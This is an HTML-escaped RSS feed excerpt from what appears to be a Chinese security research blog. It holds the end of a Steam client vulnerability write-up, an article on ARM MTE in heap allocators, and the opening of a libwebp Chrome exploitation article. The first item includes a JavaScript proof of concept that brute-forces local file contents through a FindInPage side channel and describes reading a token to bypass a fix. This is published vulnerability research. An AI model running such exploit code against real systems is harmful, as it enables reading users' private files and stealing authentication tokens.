&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;b_view&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;SetVisible&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;获取browserview中加载的页面内容实现任意文件读&#34;&gt;获取&lt;code&gt;BrowserView&lt;/code&gt;中加载的页面内容，实现任意文件读&lt;/h3&gt;
&lt;p&gt;至此我们已可以通过&lt;code&gt;LoadURL&lt;/code&gt;加载到本地的任意文件，但是还没有办法直接读取到页面内容。通过测试逆向&lt;code&gt;BrowserView&lt;/code&gt;对象，发现其提供了&lt;code&gt;FindInPage&lt;/code&gt;功能可以在页面中搜索特定字符串，并且通过调用&lt;code&gt;BrowserView.on(&amp;quot;find-in-page-results&amp;quot;, callback)&lt;/code&gt;可以注册一个回调函数来处理搜索的结果。那么问题变成了：如果可以在页面内搜索一个可控字符串并获取到搜索结果，能否获取到页面的内容？（听起来像是一道CTF题目）&lt;/p&gt;
&lt;p&gt;答案是肯定的，最终通过逐字节爆破搜索，我们可以做到任意文件读的效果。&lt;/p&gt;
&lt;p&gt;PoC（通过读&lt;code&gt;file:///home/&lt;/code&gt;获取用户名）:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;async&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;is_str_in_bv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;bv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stage&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;bv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;FindInPage&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stage&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;await&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;b_view&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;on&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;find-in-page-results&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stage&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stage&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stage&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stage&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;baseuser&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;charset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;abcdefghijklmnopqrstuvwxyz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;found&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;c&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;of&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;charset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;teststr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;c&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;baseuser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;home/&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;endsWith&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;teststr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;await&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;is_str_in_bv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;b_view&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;teststr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;found&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;found&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;baseuser&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;teststr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;alert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;baseuser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;从任意文件读到任意文件创建&#34;&gt;从任意文件读到任意文件创建&lt;/h3&gt;
&lt;p&gt;在这篇&lt;a href=&#34;https://hackerone.com/reports/667242&#34;&gt;漏洞报告&lt;/a&gt;中提到了，通过&lt;code&gt;steam://devkit-1&lt;/code&gt;中的&lt;code&gt;list-shortcuts&lt;/code&gt;等功能可以做到任意文件创建（文件内容不可控），而这个漏洞的修复方式是在&lt;code&gt;~/.steam/steam.token&lt;/code&gt;文件中随机生成一个字符串，在使用&lt;code&gt;steam://devkit-1&lt;/code&gt;相关功能时，会验证token是否正确。事实上此方式并未对此功能逻辑上的缺陷进行修复，若攻击者可以读取到token，则可以轻易bypass此修复。&lt;/p&gt;</description>
    </item>
    <item>
      <title>填补盾牌的裂缝：堆分配器中的MTE</title>
      <link>https://www.darknavy.org/zh/blog/strengthening_the_shield_mte_in_memory_allocators/</link>
      <pubDate>Wed, 03 Jan 2024 16:14:27 +0800</pubDate>
      <guid>https://www.darknavy.org/zh/blog/strengthening_the_shield_mte_in_memory_allocators/</guid>
      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;
&lt;p&gt;2018年，随着ARMv8.5-A的发布，一个全新的芯片安全特性&lt;a href=&#34;https://developer.arm.com/-/media/Arm%20Developer%20Community/PDF/Arm_Memory_Tagging_Extension_Whitepaper.pdf&#34;&gt;MTE&lt;/a&gt;(Memory Tagging Extensions) 横空出世。时隔五年后的2023年，市场上第一款支持此特性的手机发布 —— &lt;a href=&#34;https://blog.google/products/pixel/google-pixel-8-pro/&#34;&gt;Google Pixel 8&lt;/a&gt;，宣告着MTE正式走入了消费者群体。虽然该特性在手机上还未默认启用，但开发者可以&lt;a href=&#34;https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html&#34;&gt;自行开启体验&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;MTE作为一个强大的内存破坏防御手段，对于它的防御边界、防御能力，和它对性能的影响，目前网上还未有对其全面的分析。此前，Google Project Zero发表了一系列&lt;a href=&#34;https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html&#34;&gt;关于MTE的文章&lt;/a&gt;，其聚焦于较为底层的MTE安全性。然而MTE对于真实的软件安全性究竟有多大的影响仍是个未解之谜。想要讨论这个话题，各大堆分配器是一个很好的切入点。堆上的内存破坏问题已经逐渐成为二进制漏洞中的主流类型，参考MSRC于CppCon2019的&lt;a href=&#34;https://github.com/microsoft/MSRC-Security-Research/blob/master/presentations/2019_09_CppCon/CppCon2019%20-%20Killing%20Uninitialized%20Memory.pdf&#34;&gt;议题&lt;/a&gt;内容：&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;3&#34; loading=&#34;lazy&#34; src=&#34;https://www.darknavy.org/zh/blog/strengthening_the_shield_mte_in_memory_allocators/assets/3.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;通常普通开发者并不会直接使用MTE相关的汇编指令，而是依靠堆分配器自带的MTE支持间接使用，堆分配器就像盾牌一样，扛起了保护软件的任务。MTE提供了细颗粒管控内存的基础支持，如何基于硬件MTE能力实现高级安全功能的重任，留给了软件开发者。开源社区主流堆分配器积极响应，实现了基于MTE特性的安全增强，提高了堆空间的内存安全性。&lt;/p&gt;
&lt;p&gt;本文将以MTE的三个主要玩家：Chrome中的PartitionAlloc、Glibc中的Ptmalloc、Android中的Scudo为目标，对其中MTE相关的实现分别进行讨论，并对它们进行对比。我们在研究中发现了PartitionAlloc中实现的问题，并将此问题报告给了Google，得到了Chrome团队的确认。&lt;/p&gt;
&lt;h2 id=&#34;mte概述&#34;&gt;MTE概述&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;已了解MTE原理的读者可跳过此章节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;MTE利用ARMv8的TBI (Top-Byte Ignore) 特性，使用指针的高4 bits存储tag，在每个进程中有一段专用的内存用于存储tag。当为内存指定了某个tag后，程序必须带上正确的tag访问内存，若tag错误，程序抛出错误信号SIGSEGV，如下图所示：&lt;/p&gt;
&lt;img src=&#34;assets/2.png&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 50%;&#34;/&gt;
&lt;p&gt;指令集提供了系列指令来操作tag，此处举例说明MTE的基本用法：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;; x0 is a pointer
irg  x1, x0
stg  x1, [x1]
ldr  x0, [x1]
&lt;/code&gt;&lt;/pre&gt;&lt;ol&gt;
&lt;li&gt;IRG (Insert Random Tag) 指令为指针x0生成一个随机tag，将结果保存至x1中。&lt;/li&gt;
&lt;li&gt;STG (Store Allocation Tag) 指令将tag应用至内存中，生效的长度取决于颗粒度，一般为16字节。&lt;/li&gt;
&lt;li&gt;LDR (Load Register) 使用带有tag的指针读取内存。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可以看到指令集中提供了底层的支持，但各个指令的使用有很大的自由度，MTE具体如何使用，很大程度上仍然取决于软件开发者。&lt;/p&gt;
&lt;h2 id=&#34;allocator&#34;&gt;Allocator&lt;/h2&gt;
&lt;h3 id=&#34;chrome---partitionalloc&#34;&gt;Chrome - PartitionAlloc&lt;/h3&gt;
&lt;h4 id=&#34;分配&#34;&gt;分配&lt;/h4&gt;
&lt;p&gt;PartitionAlloc中的分配可以大致分为三种情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从ThreadCache中分配，不变动tag直接返回。&lt;/li&gt;
&lt;li&gt;从空闲的SlotSpan中分配，不变动tag直接返回。&lt;/li&gt;
&lt;li&gt;若以上两种情况均不满足，分配一个新的SlotSpan，对其中所有空闲的堆块打上随机的tag&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PA_LIKELY&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;use_tagging&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;c1&#34;&gt;// Ensure the MTE-tag of the memory pointed by other provisioned slot is
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;c1&#34;&gt;// unguessable. They will be returned to the app as is, and the MTE-tag
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;c1&#34;&gt;// will only change upon calling Free().
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;next_slot_ptr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;n&#34;&gt;TagMemoryRangeRandomly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;next_slot&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TagSizeForSlot&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;root&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;slot_size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;释放&#34;&gt;释放&lt;/h4&gt;
&lt;p&gt;将堆块的tag加一。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Exploiting the libwebp Vulnerability, Part 2: Diving into Chrome Blink</title>
      <link>https://www.darknavy.org/zh/blog/exploiting_the_libwebp_vulnerability_part_2/</link>
      <pubDate>Fri, 03 Nov 2023 14:10:29 +0800</pubDate>
      <guid>https://www.darknavy.org/zh/blog/exploiting_the_libwebp_vulnerability_part_2/</guid>
      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;
&lt;p&gt;当我们把这样一个在三方库中的漏洞放到真实的环境中再看时，会发现漏洞所处的环境往往有很多复杂的变量，想要利用这个漏洞并非想象般那么容易。&lt;/p&gt;
&lt;p&gt;我们所已知的信息有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我们溢出的变量&lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/d53886d694334f194b267db3af165e5cd61ef489:third_party/libwebp/src/src/dec/vp8l_dec.c;l=437&#34;&gt;huffman_tables&lt;/a&gt;，大小为0x2f28&lt;/li&gt;
&lt;li&gt;该堆块在renderer的ThreadPool中分配，而大多数对象在主线程中分配&lt;/li&gt;
&lt;li&gt;我们可以以8字节倍数的offset，写入一个部分可控的4字节int&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chrome中不同大小的堆块被存储在不同的bucket当中，不同大小的对象因为这个机制被安全地隔离开。通常来说，在chrome中的堆利用需要找到同样大小的对象进行布局，再通过UAF或是OOB篡改其他的对象，从而造成信息泄露或者控制流劫持。接下来我们会分享我们所发现的对象，同时试图去绕过这个机制。&lt;/p&gt;
&lt;h2 id=&#34;信息泄露&#34;&gt;信息泄露&lt;/h2&gt;
&lt;h3 id=&#34;寻找对象&#34;&gt;寻找对象&lt;/h3&gt;
&lt;p&gt;我们首先想要寻找的是一个合适的对象能够被OOB所改写，由于我们的越界写并不能很好地控制值，所以写指针基本被排除，最好的情况是能够改掉类似length这样的字段，对于值没有精确的要求，但是能够引发进一步更好利用的内存问题。&lt;/p&gt;
